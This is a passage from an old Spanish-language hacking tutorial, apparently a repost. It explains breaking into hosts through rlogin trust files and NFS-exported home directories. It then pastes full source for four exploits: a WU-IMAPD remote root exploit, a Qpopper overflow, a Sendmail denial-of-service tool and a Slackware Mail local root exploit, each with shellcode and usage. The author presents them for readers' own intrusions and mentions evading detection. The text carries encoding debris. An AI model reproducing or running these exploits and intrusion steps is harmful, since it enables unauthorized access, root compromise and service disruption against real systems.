~>rlogin -l usuario objetivo.net

entonces rlogin busca el nombre de nuestra maquina en el fichero
/home/usuario/.rhost y si la encuentra, tambien hemos conseguido el
acceso. Un antiguo “bug” de rlogin permitia conseguir una rootshell
haciendo

$>rlogin objetivo.net -l -froot.

Si una maquina tiene el rlogin activado (y no tiene filtros tcp
warppers) debemos intentar escribir una “+” en ~/.rhosts o
/etc/hosts.equiv. Muchos ya vienen con la entrada “+” en dichos
archivos por defecto y eso significa que cualquier otra maquina sera
un “trusted hosts”. Voy a ilustrar esto con un ejemplito de lo mas
interesante. Supongamos que sabemos que en nuestro sistema objetivo
estan activos los servicios rlogin, mountd y nfs. Si hacemos

#>showmount -e objetivo.net
y nos sale

/home

Lo primero que haremos sera crear un directorio para montar /home

#>mkdir patapalo

#>mount -nt nfs objetivo.net:/home /patapalo

#>ls -la /patapalo
Imaginemos que encontramos la siguiente entrada con UID=3D102:

1 drwx—— 15 102 100 1024 Jul 8 18:57 skywalker/

Hacemos una entrada nueva en nuestro fichero de passwd para skywalker pero sin contrase=F1a:

#>echo “skywalker::102:2::/patapalo: /bin/shi” >> /etc/passwd

#>su – skywalker
(sin contrasenya)

Una vez como skywalker, podemos hacer:

#>echo “+ +” > skywalker/.rhosts (hacemos que la maquina remota considere a cualquiera, nosotros por ejemplo, como de confianza)

#>cd /

#>rlogin -l skywalker objetivo.net
Wellcome to objetivo.net
=2E..

objetivo.net:~$>

=A1Ya tenemos cuenta en el sistema!

Para desmontar el archivo, salimos del directorio y hacemos

#>umount /patapalo

De todos modos es muy raro que pasen estas cosas…los tcp warppers
deberian tener bien configurados sus ficheros de hosts.allow y
hosts.deny…pero por defecto, al instalarse automaticamente los tcp
warppers en el sistema (linux p.ej.) los ficheros de configuracion
mencionados estan vacios de reglas de acceso.
3.4 Exploits

Los exploits son procedimientos que nos permiten aprovechar (explotar)
un fallo o vulnerabilidad en ciertos programas que se ejecutan con el
bit setuid activado y que nos permiten acceder al sistema generalmente
con una rootshell. Si bien la mayor parte de las veces se utilizan en
acceso local como procedimiento para acceder a los privilegios de
root, tambien se usan para el acceso remoto utilizando alguna utilidad
de red como telnet o netcat.

La mayor parte de los exploits se basan en desbordamientos del buffer
de la pila(stack buffer overflow). En el excelente articulo de
AlephOne aparecido en noviembre de 1996 en el Phrack (49, file 14) y
titulado “Smashing the Stack for Fun and Profit” se describe
minuciosamente como es posible desbordar el buffer de la pila del
proceso y establecer la direccion de retorno para que se ejecute
codigo arbitrario, generalmente una rutina en ensamblador (a veces
llamada “egg”) que ejecuta /bin/sh con privilegio de root (si el
programa tenia el bit setuid activado). Esta vulnerabilidad la
presentan en principio los programas que llaman a determinadas
funciones C tales como strcpy(), strcat() y sprintf() que no verifican
el tama=F1o de los arrays. Hay un articulo muy sencillo de leer (o lo
habia) en http://hello.to/hacker_novatos escrito por RaiSe para los
neofitos, pero debeis de tener al menos unas nociones de programacion
C, la distribucion en la memoria de un proceso unix y algo de
ensamblador (CPU Intel y linux como so). Yo por mi me enrrollaria un
poco con el tema porque es apasionante y es relativamente sencillo
escribir nuestros propios exploits…pero eso sera otra historia si
Dios quiere que disponga de tiempo para hacer una introduccion a la
realizacion de exploits. Basta decir que si visitamos la pagina

http://www.rootshell.com

y buscamos en “exploits” encontraremos de todo. En cada uno de ellos
se explica el modus operandi para aplicarlos. Yo he recogido algunos
recientitos para Linuxy los pego a continuacion:

**Uno para imap, del 98

——————-/begin imap exploit———————-

/*

THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF THE ADM CREW
�
Linux WU-IMAPD 4.1 remote root exploit (4/98)
by ndubee||plaguez
dube0866@eurobretagne.fr

Usage: ./imapx <offset>
�
where offset =3D -500..500 (brute force if 0 doesnt work)

Credits:
- Cheez Whiz (original x86 BSD exploit)
- #!w00w00 and #!ADM

Note:
if you plan to port this to other OS., make sure the
shellcode doesn’t contain lower case chars since imapd
will toupper() the shellcode, thus fucking it up.

*/

#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <string.h>
#define BUFLEN 2048
#define NOP 0×90

char shell[] =3D
/*
jmp 56
popl %esi
movl %esi,%ebx
movl %ebx,%eax
�
addb $0×20,0×1(%esi)
addb $0×20,0×2(%esi)
addb $0×20,0×3(%esi)
addb $0×20,0×5(%esi)
addb $0×20,0×6(%esi)
�
movl %esi,%edi
addl $0×7,%edi
xorl %eax,%eax
stosb %al,%es:(%edi)
movl %edi,%ecx
movl %esi,%eax
stosl %eax,%es:(%edi)
movl %edi,%edx
xorl %eax,%eax
stosl %eax,%es:(%edi)
movb $0×8,%al
addb $0×3,%al
int $0×80
xorl %ebx,%ebx
movl %ebx,%eax
incl %eax
int $0×80
call -61
.string \”/BIN/SH\”
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff ;markup

*/

“\xeb\x38\x5e\x89\xf3\x89\xd8\x80″
“\x46\x01\x20\x80\x46\x02\x20\x80″
“\x46\x03\x20\x80\x46\x05\x20\x80″
“\x46\x06\x20\x89\xf7\x83\xc7\x07″
“\x31\xc0\xaa\x89\xf9\x89\xf0\xab”
“\x89\xfa\x31\xc0\xab\xb0\x08\x04″
“\x03\xcd\x80\x31\xdb\x89\xd8\x40″
“\xcd\x80\xe8\xc3\xff\xff\xff\x2f”
“\x42\x49\x4e\x2f\x53\x48\x00″;

void
main (int argc, char *argv[])
{
char buf[BUFLEN];
int offset=3D0,nop,i;
unsigned long esp;

fprintf(stderr,”usage: %s <offset>\n”, argv[0]);
�
nop =3D 403;
esp =3D 0xbffff520;
if(argc>1)
offset =3D atoi(argv[1]);

memset(buf, NOP, BUFLEN);
memcpy(buf+(long)nop, shell, strlen(shell));
�
for (i =3D 512; i < BUFLEN – 4; i +=3D 4)
*((int *) &buf[i]) =3D esp + (long) offset;

printf(“* AUTHENTICATE {%d}\r\n”, BUFLEN);
for (i =3D 0; i < BUFLEN; i++)
putchar(buf[i]);
�
printf(“\r\n”);

return;
}
————–/end imap exploit———————————–
**Otro para qpop3

—————–/begin qpop3 exploit—————————–
/*
* !Hispahack Research Team
* http://hispahack.ccc.de
*
* By Zhodiac <zhodiac@softhome.net>
*
* Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53)
* Overflow at pop_list()->pop_msg()
*
* Tested: 3.0beta28 offset=3D0
* 3.0beta26 offset=3D0
* 3.0beta25 offset=3D0
*
* #include <standar/disclaimer.h>
*
* This code is dedicated to my love [CrAsH]] and to all the people who
* were raided in Spain in the last few days.
*
* Madrid 10/1/2000
*
*/

#include <stdio.h>

#define BUFFERSIZE 1004
#define NOP 0×90
#define OFFSET 0xbfffd9c4

char shellcode[]=3D
“\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89″
“\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89″
“\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh”;
void usage(char *progname) {
fprintf(stderr,”Usage: (%s <login> <password> [<offset>]; cat) | nc <target> 110″,progname);
exit(1);
}

int main(int argc, char **argv) {
char *ptr,buffer[BUFFERSIZE];
unsigned long *long_ptr,offset=3DOFFSET;
int aux;

fprintf(stderr,”\n!Hispahack Research Team (http://hispahack.ccc.de)\n“);
fprintf(stderr,”Qpopper xploit by Zhodiac <zhodiac@softhome.net>\n\n“);

if (argc<3) usage(argv[0]);

if (argc=3D=3D4) offset+=3Datol(argv[3]);

ptr=3Dbuffer;
memset(ptr,0,sizeof(buffer));
memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16);
ptr+=3Dsizeof(buffer)-strlen(shellcode)-16;
memcpy(ptr,shellcode,strlen(shellcode));
ptr+=3Dstrlen(shellcode);
long_ptr=3D(unsigned long*)ptr;
for(aux=3D0;aux<4;aux++) *(long_ptr++)=3Doffset;
ptr=3D(char *)long_ptr;
*ptr=3D’\0′;

fprintf(stderr,”Buffer size: %d\n”,strlen(buffer));
fprintf(stderr,”Offset: 0x%lx\n\n”,offset);

printf(“USER %s\n”,argv[1]);
sleep(1);
printf(“PASS %s\n”,argv[2]);
sleep(1);
printf(“LIST 1 %s\n”,buffer);
sleep(1);
printf(“uname -a; id\n”);

return(0);
}

————————/end qpop exploit—————————–
**Otro para sendmail

——————–/begin sendmail exploit—————————
/*
against.c – Another Sendmail (and pine DoS (up to 8.9.2)
(c) 1999 by <marchew@linux.lepszy.od.kobiety.pl>

Usage: ./against existing_user_on_victim_host victim_host
Example: ./against nobody lamers.net

*/

#include <stdio.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <errno.h>
#include <signal.h>
#include <getopt.h>
#include <stdlib.h>
#include <string.h>

#define MAXCONN 5
#define LINES 150000

struct hostent *hp;
struct sockaddr_in s;
int suck,loop,x;

int main(int argc,char* argv[]) {
�
printf(“against.c – another Sendmail DoS (up to 8.9.2)\n”);

if (argc-3) {
printf(“Usage: %s victim_user victim_host\n”,argv[0]);
exit(0);
}
�
hp=3Dgethostbyname(argv[2]);
�
if (!hp) {
perror(“gethostbyname”);
exit(1);
}

fprintf(stderr,”Doing mess: “);

for (;loop<MAXCONN;loop++) if (!(x=3Dfork())) {
FILE* d;
bcopy(hp->h_addr,(void*)&s.sin_addr,hp->h_length);
s.sin_family=3Dhp->h_addrtype;
s.sin_port=3Dhtons(25);
if ((suck=3Dsocket(AF_INET,SOCK_STREAM,0))<0) perror(“socket”);
if (connect(suck,(struct sockaddr *)&s,sizeof(s))) perror(“connect”);
if (!(d=3Dfdopen(suck,”w”))) { perror(“fdopen”); exit(0); }

usleep(100000);

fprintf(d,”helo tweety\n”);
fprintf(d,”mail from: tweety@polbox.com\n“);
fprintf(d,”rcpt to: %s@%s\n”,argv[1],argv[2]);
fprintf(d,”data\n”);

usleep(100000);

for(loop=3D0;loop<LINES;loop++) {
if (!(loop%100)) fprintf(stderr,”.”);
fprintf(d,”To: x\n”);
}

fprintf(d,”\n\n\nsomedata\n\n\n”);

fprintf(d,”.\n”);

sleep(1);

fprintf(d,”quit\n”);
fflush(d);

sleep(100);
shutdown(suck,2);
close(suck);
exit(0);
}

waitpid(x,&loop,0);

fprintf(stderr,”ok\n”);

return 0;
}

——————/end sendmail exploit—————————
**Para terminar uno de Slackware

——————/begin mail-slack exploit———————-
/*
* mail-slak.c (C) 2000 Paulo Ribeiro <prrar@nitnet.com.br>
*
* Exploit for /usr/bin/Mail.
* Made specially for Slackware Linux 7.0.
* Based on mailx.c by funkySh.
*
* OBS.: Without fprintf(stderr) is not possible to print the message.
*
* USAGE:
* slack$ ./mail-slak
* type ‘.’ and enter: .
* Cc: too long to edit
* sh-2.03$ id
* uid=3D1000(user) gid=3D12(mail) groups=3D100(users)
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char buffer[10000];
char shellcode[] =3D
“\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31″

“\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x0c\xb1″

“\x0c\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76″

“\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89″

“\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89″
“\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh”;

unsigned long getesp(void)
{
__asm__(“movl %esp,%eax”);
}

int main(int argc, char **argv)
{
int x;
long addr =3D getesp() – 18000;

memset(buffer, 0×90, 10000);
memcpy(buffer + 800, shellcode, strlen(shellcode));

for(x =3D 876; x < 9998; x +=3D 4)
*(int *)&buffer[x] =3D addr;

fprintf(stderr, “type ‘.’ and enter: “);

execl(“/usr/bin/Mail”, “/usr/bin/Mail”, “nobody”, “-s”,
“blah”, “-c”, buffer, 0);
}

/* mail-slack.c: EOF */

—————–/end mail-slack exploit————————–
Esto solo ha sido una muestra. Si en rootshell.com utilizais la
untilidad search podreis buscar los exploits relativos a aquellos
programas o servicios que os interesen para vuestros fines }:)).

Bueno…ya esta bien por esta entrega. La proxima nos dedicaremos a
conseguir privilegios de root desde un acceso local y a preparar
nuestras herramientas.

Antes de terminar…ni se os ocurra intentar entrar en ninguna maquina
remota en plan novato apenas sabiendo cuatro cosas, porque dejariais
unas huellas y vestigios que os delatarian ipso facto. Ya a medida que
avancemos os dire algunas cosillas fundamentales para ser casi
invisible…pero no todavia. Por ultimo, aunque no quiero meteros
mucha tela, existen una serie de escaners que auditan redes y que
delatan diversos fallos de seguridad y vulnerabilidades. Anta=F1o
estaba sscan, pero ahora es mucho mejor usar saint o nessus…pero ya
os dire como.

Tened cuidado ahi dentro ;-P

�
————–2EC61C705517942E3D414456–

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.